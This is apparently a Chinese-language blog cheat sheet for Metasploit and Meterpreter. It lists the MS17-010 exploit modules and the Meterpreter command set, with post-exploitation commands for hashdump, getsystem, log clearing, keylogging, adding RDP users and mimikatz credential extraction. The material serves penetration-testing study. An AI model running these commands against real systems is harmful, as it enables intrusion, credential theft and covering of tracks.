如果有代理在前面加proxychains
msfconsole 进入MSF终端
search xxx xxx为要搜索的模块
use xxxx 选择要用的攻击模块
show options 查看相关设置
set LHOST 本机IP
set RHOST 目标IP
set 。。。。。。。 配置
exoloit/run 执行

exploit一共有三个exploit/windows/smb/ms17_010_eternalblue,exploit/windows/smb/ms17_010_eternalblue_win8,exploit/windows/smb/ms17_010_psexec由于靶机的系统是xp,只有第三exploit成功。auxiliary目录下的,属于辅助验证程序。
是exploit目录下的才是重点。

Core Commands         核心命令
================

Command Description
------- -----------
? Help menu                帮助菜单
background Backgrounds the current session          将当前会话抛到后台
bgkill Kills a background meterpreter script        杀死一个背景 meterpreter 脚本
bglist Lists running background scripts              提供所有正在运行的后台脚本的列表
bgrun Executes a meterpreter script as a background thread      作为一个后台线程运行脚本
channel Displays information or control active channels        显示动态频道的信息
close Closes a channel                      关闭一个频道
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session            终止 meterpreter 会话
get_timeouts Get the current session timeout values
help Help menu                              帮助菜单
info Displays information about a Post module
irb Drop into irb scripting mode                进入 Ruby 脚本模式
load Load one or more meterpreter extensions
machine_id Get the MSF ID of the machine attached to the session
migrate Migrate the server to another process              移动meterpreter到一个指定的 PID 的活动进程
quit Terminate the meterpreter session            终止 meterpreter 会话
read Reads data from a channel                  从通道读取数据
resource Run the commands stored in a file
run Executes a meterpreter script or Post module        从频道读数据
sessions Quickly switch to another session
set_timeouts Set the current session timeout values
sleep Force Meterpreter to go quiet, then re-establish session.
transport Change the current transport mechanism
use Deprecated alias for 'load'                    加载一个或多个meterpreter 的扩展
uuid Get the UUID for the current session
write Writes data to a channel                    将数据写入到一个频道

Stdapi: File system Commands            文件系统命令
=====================================

Command Description
------- -----------
cat Read the contents of a file to the screen        读取并输出到标准输出文件的内容
cd Change directory                      对受害人更改目录
checksum Retrieve the checksum of a file
cp Copy source to destination
dir List files (alias for ls)
download Download a file or directory            从受害者系统文件下载
edit Edit a file                    用 vim编辑文件
getlwd Print local working directory            打印本地目录
getwd Print working directory              打印工作目录
lcd Change local working directory            更改本地目录
lpwd Print local working directory          打印本地目录
ls List files                    列出在当前目录中的文件列表
mkdir Make directory                  在受害者系统上的创建目录
mv Move source to destination
pwd Print working directory              输出工作目录
rm Delete the specified file            删除文件
rmdir Remove directory                  受害者系统上删除目录
search Search for files
show_mount List all mount points/logical drives
upload Upload a file or directory            从攻击者的系统往受害者系统上传文件

Stdapi: Networking Commands                网络命令
=====================================

Command Description
------- -----------
arp Display the host ARP cache
getproxy Display the current proxy configuration
ifconfig Display interfaces
ipconfig Display interfaces                  显示网络接口的关键信息,包括 IP 地址、 等。
netstat Display the network connections
portfwd Forward a local port to a remote service              端口转发
resolve Resolve a set of host names on the target
route View and modify the routing table            查看或修改受害者路由表

Stdapi: System Commands                    系统命令
=====================================

Command Description
------- -----------
clearev Clear the event log                  清除了受害者的计算机上的事件日志
drop_token Relinquishes any active impersonation token.        被盗的令牌
execute Execute a command                          执行命令
getenv Get one or more environment variable values
getpid Get the current process identifier                  获取当前进程 ID (PID)
getprivs Attempt to enable all privileges available to the current process      尽可能获取尽可能多的特权
getsid Get the SID of the user that the server is running as
getuid Get the user that the server is running as              获取作为运行服务器的用户
kill Terminate a process                      终止指定 PID 的进程
localtime Displays the target system's local date and time
ps List running processes                      列出正在运行的进程
reboot Reboots the remote computer                  重新启动受害人的计算机
reg Modify and interact with the remote registry            与受害人的注册表进行交互,即可以修改受害人的注册表
rev2self Calls RevertToSelf() on the remote machine          在受害者机器上调用 RevertToSelf()
shell Drop into a system command shell              在受害者计算机上打开一个shell
shutdown Shuts down the remote computer                  关闭了受害者的计算机
steal_token Attempts to steal an impersonation token from the target process      试图窃取指定的 (PID) 进程的令牌
suspend Suspends or resumes a list of processes
sysinfo Gets information about the remote system, such as OS      获取有关受害者计算机操作系统和名称等的详细信息

Stdapi: User interface Commands
=====================================

Command Description
------- -----------
enumdesktops List all accessible desktops and window stations            列出所有可访问桌面和windows工作站
getdesktop Get the current meterpreter desktop                  获取当前的 meterpreter 桌面
idletime Returns the number of seconds the remote user has been idle        检查长时间以来,受害者系统空闲进程。或者说远程用户闲置时间
keyscan_dump Dump the keystroke buffer                键盘记录软件的内容转储
keyscan_start Start capturing keystrokes              启动时与如 Word 或浏览器的进程相关联的键盘记录软件
keyscan_stop Stop capturing keystrokes                      停止键盘记录软件
screenshot Grab a screenshot of the interactive desktop            抓去 meterpreter 桌面的屏幕截图
setdesktop Change the meterpreters current desktop            更改 meterpreter 桌面
uictl Control some of the user interface components          启用用户界面组件的一些控件或者说用户接口控制

Stdapi: Webcam Commands
=====================================

Command Description
------- -----------
record_mic Record audio from the default microphone for X seconds
webcam_chat Start a video chat
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam

Priv: Elevate Commands                  特权升级命令
=====================================

Command Description
------- -----------
getsystem Attempt to elevate your privilege to that of local system.        获得系统管理员权限

Priv: Password database Commands          密码数据库的命令
=====================================

Command Description
------- -----------
hashdump Dumps the contents of the SAM database        抓去哈希密码 (SAM) 文件中的值 或者说 SAM存储,即说白了就是提取远程系统的hash密码              得到之后,然后可以结合 windows/smb/psesec,来通过smb登录远程系统

Priv: Timestomp Commands                时间戳命令
=====================================

Command Description
------- -----------
timestomp Manipulate file MACE attributes        操作修改,访问,并创建一个文件的属性

Incognito Commands
=====================================

Command Description
------- -----------
add_group_user Attempt to add a user to a global group with all tokens
add_localgroup_user Attempt to add a user to a local group with all tokens
add_user Attempt to add a user with all tokens
impersonate_token Impersonate specified token
list_tokens List tokens available under current user context
snarf_hashes Snarf challenge/response hashes for every token

meterpreter>
background    将当前会话转移到后台
migrate       迁移会话进程到指定pid
clearev        清除系统事件
getpid 查看会话进程的pid
getuid 查看权限
screenshot ,截屏并保存到一个文件
sysinfo,来查看系统信息
run post/windows/gather/smart_hashdump 使用命令获取hash值
getsystem,提升至system系统最高权限
run hashdump        来获取系统账号hash(先进行上一步)
run post/windows/gather/enum_applications    获取系统安装程序
run vnc        用vnc控制对方桌面
run winenum      运行windows常用枚举信息
run packetrecorder -i 1      开启抓包
run post/windows/manage/enable_rdp //开启3389 proxychains rdesktop IP //远程连接 目标机需要开启3389端口
run getgui -u xxxxx -p xxxxx //添加用户
download c:\\1.txt //下载文件
upload ll.txt c:\ //上传文件
cat 11.txt //查看文件
pwd //查询当前路径
sysinfo //显示远程主机的系统信息,显示计算机、系统信息、结构、语言等信息

shell命令,是进入cmdshell
介绍个神器 mimikatz :

load mimikatz

msv (获取 hash 值)

ssp (获取明文信息)

wdigest (获取系统账户信息)

mimikatz_command -f a:: (必须要以错误的模块来让正确的模块显示)

mimikatz_command -f hash:: (获取目标 hash)

Metasploit工具的使用的更多相关文章

  1. Metasploit工具----辅助模块

    Metasploit框架(Metasploit Framework,MSF)是一个开源工具,旨在方便渗透测试,他是有Ruby程序语言编写的模板化框架,具有很好的扩展性,便于渗透测试人员开发.使用定制的 ...

  2. Metasploit工具----漏洞利用模块

    漏洞利用是指由渗透测试者利用一个系统.应用或者服务中的安全漏洞进行的攻击行为.流行的渗透攻击技术包括缓冲区溢出.Web应用程序攻击,以及利用配置错误等,其中包含攻击者或测试人员针对系统中的漏洞而设计的 ...

  3. kail linux 系统下利用metaspolit工具渗透win7电脑

     注:只是测试,不可干违法的事. 一.metaspolit工具的介绍 1.1.metaspolit 是一款开源安全漏洞检测工具,附带数百个已知的软件漏洞,并保持频繁更新.被安全社区冠以“可以黑掉整个宇 ...

  4. metasploit、msfvenom生成木马入侵电脑及手机

    简介 msfvenom msfvenom a Metasploit standalone payload generator,Also a replacement for msfpayload and ...

  5. Metasploit 模块和位置

    Metasploit Framework由许多的模块组成的. 一.Exploits(漏洞模块) 定义为使用“有效载荷(payloads)”的模块 没有“有效载荷”的攻击是辅助模块 二.Payloads ...

  6. Metasploit Framework(MSF)的使用

    目录 Metasploit 安装Metasploit 漏洞利用(exploit) 攻击载荷(payload) Meterpreter MS17_010(永恒之蓝) 辅助模块(探测模块) 漏洞利用模块 ...

  7. 用Backtrack进行渗透测试评估

    Web应用程序的分析在渗透测试和漏洞评估中发挥了重要的作用.确定Web应用程序的正确信息(例如使用的插件,CMS类型等)都可以帮助测试者使用准确的漏洞来测试,能够降低整个渗透测试漏洞评估所花费的时间. ...

  8. 零基础到精通Web渗透测试的学习路线

    小编相信很多新手都会遇到以下几个问题 1.零基础想学渗透怎么入手? 2.学习web渗透需要从哪里开始? 这让很多同学都处于迷茫状态而迟迟不下手,小编就在此贴给大家说一下web渗透的学习路线,希望对大家 ...

  9. 超有料丨小白如何成功逆袭为年薪30万的Web安全工程师

    今天的文章是一篇超实用的学习指南,尤其是对于即将毕业的学生,新入职场的菜鸟,对Web安全感兴趣的小白,真的非常nice,希望大家能够好好阅读,真的可以让你少走很多弯路,至少年薪30万so easy! ...

随机推荐

  1. linux系统上安装svn服务器 环境linux+nginx+svnserver

    系统:Ubuntu 12.04 64位 lnmp环境 集成软件:PHP5.4.27.Nginx1.6.0.MySQL5.5.37 阿里云server svnserver有2种执行方式:独立server ...

  2. 事件 MotionEvent

    点击和长按可能会同时发生,需要在长按的回调函数中返回true,就不会产生点击.谁处理事件谁就是消费者 如果view组件不处理事件,最后会让ontouchevent处理,它是备胎 <LinearL ...

  3. javascript 正则表达式 进阶教程

    学习之前先来说一说一些概念 子项 1.正则的一个分组为一个子项,子项的匹配结果可以在这个子项之后被使用 2.子项是有顺序的,以(出现的位置顺序从左到右,第一个'()'--分组 包含的为第一子项,第二个 ...

  4. Android项目中JNI技术生成并调用.so动态库实现详解

    生成 jni方式有两种:一种是通过SWIG从C++代码生成过度的java代码:另一种是通过javah的方式从java代码自动生成过度的C++代码.两种方式下的步骤流程正好相反. 第一种方式:由于需要配 ...

  5. Educational Codeforces Round 2 C. Make Palindrome —— 贪心 + 回文串

    题目链接:http://codeforces.com/contest/600/problem/C C. Make Palindrome time limit per test 2 seconds me ...

  6. (转)Java经典设计模式(3):十一种行为型模式(附实例和详解)

    原文出处: 小宝鸽 Java经典设计模式共有21中,分为三大类:创建型模式(5种).结构型模式(7种)和行为型模式(11种). 本文主要讲行为型模式,创建型模式和结构型模式可以看博主的另外两篇文章:J ...

  7. [Tyvj Aug11] 黄金矿工

    传送门 Description 黄金矿工是一个经典的小游戏,它可以锻炼人的反应能力.该游戏中,可以通过“挖矿”获得积分并不断升级.玩家可以在线玩flash版黄金矿工,也可以下载后玩单机版黄金矿工.目前 ...

  8. bind (ERROR 502): bind(0.0.0.0:9501) failed. Error: Address already in use [98] (端口被占用)

    运行 swoole_server 服务报错显示端口被占用 解决思路: 1.用命令查看该端口 看是否存在 netstat  -anp  |  grep 9501 2.如果存在 就用 kill对应端口号 ...

  9. hdu-2647 Reward && hdu-2049产生冠军 &&hdu-3342Legal or Not(拓扑排序)

    题目链接: hdu-2647 /*Problem : 2647 ( Reward ) Judge Status : Accepted RunId : 16919085 Language : G++ A ...

  10. Java标准输入

    Java: import java.util.*; public class Main{ public static void main(String args[]){ Scanner cin = n ...